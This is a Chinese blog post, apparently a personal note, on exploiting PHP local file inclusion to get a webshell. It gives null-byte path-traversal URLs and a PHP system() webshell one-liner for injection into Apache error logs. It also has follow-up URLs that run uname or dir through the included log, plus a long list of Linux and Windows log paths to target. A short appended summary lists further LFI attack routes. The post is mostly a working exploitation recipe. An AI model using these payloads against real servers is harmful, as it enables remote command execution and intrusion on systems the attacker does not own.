PHP本地文件包含(LFI)漏洞利用

如果是在win上,提交:test.php?for=D:\tools\readme.txt%00,就可以了,跨目录跨盘符。这里要注意,对于过多的”..\”,360会自动拦截,比较好的办法是使用ie或者ff。

但是光是浏览文件是不够的,我们还需要webshell。可以使用log injection的方法。这也是我作这个记录的主要目的,这才是重点所在。

这里,思想的核心是要将php代码注入到log中,比如,我们可以将:

<?php $s=$_GET;@chdir($s['x']);echo @system($s['y'])?>

注入进去(浏览器的自动更改实在太烦人)。注:friddle2不会对针对本机的访问过滤,我就输入本机的地址:192.168.0.1。

然后访问:test.php?for=/var/log/apache/logs/error_log%00&x=/&y=uname,这是针对linux。如果平台切换到win,可以访问:test.php?for=..\apache\logs\error.log%00&x=.y=dir,会显示当前目录文件。

当然,我们也可以将日志记录到access.log里,但那样会更复杂一些,因为需要包含的文件会更大。

参考文献还提到了:使用linux的/proc/self/fd进行注入的方法,我对linux不熟悉,所以也没有细看,以后需要的时候再了解吧。

额外的发现:

360浏览器有个奇怪的特性,当访问 http://www.baidu.com/search/error.html%00../../../../../../tools后,会访问一下目录:D:\Program files\360se\tools 看看有没有这个文件夹,这里有问题吧?TDH

D:\Program files\360se\360se3\http:\apache\logs\error.log%00&y=dir和http://192.168.0.1:88/test.php?for=..\..\..\apache\logs\error.log%00&y=dir,这两者之间的关系是怎么得来的?

附录:

1、可能的log路径、

/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log


PHP安全之LFI漏洞GetShell方法大阅兵


http://www.myhack58.com/Article/html/3/62/2011/32008.htm

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
已知某网站存在本地文件包含漏洞(LFI),但无法上传任何文件,那么仍然可以利用以下方式进行攻击: 1. 获取敏感信息:利用LFI漏洞可以读取目标服务器上的本地文件,可以尝试获取敏感信息,如密码文件、配置文件、日志文件等。通过分析这些文件内容,可能找到登陆凭证、数据库连接信息、敏感数据等。 2. 执行恶意指令:通过LFI漏洞,攻击者可以执行恶意代码或系统指令。例如,可以调用特定系统指令获取服务器敏感信息、添加用户、修改文件权限等。通过恶意指令的执行,攻击者可以获取更大的权限。 3. 利用远程文件包含:攻击者可以在远程服务器上放置恶意文件,并利用LFI漏洞实现文件包含。一旦目标网站存在对远程资源(如http、ftp等)的文件包含,攻击者即可通过LFI漏洞植入的远程URL地址执行恶意代码。 4. 利用日志文件:如果目标网站记录访问日志,并使用相对路径记录文件名或请求参数,那么可以通过LFI漏洞读取日志文件,并向其中植入恶意请求,以获取额外的信息或实现进一步的攻击。 5. 文件包含链:利用LFI漏洞,可以从一个受漏洞影响的文件访问其他文件,从而形成文件包含链。攻击者可以通过该链访问任意文件,甚至可以获得源码信息。 综上所述,即使无法上传文件,仍然可以通过本地文件包含漏洞进行攻击。因此,网站管理者应及时修复LFI漏洞,确保服务器安全。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值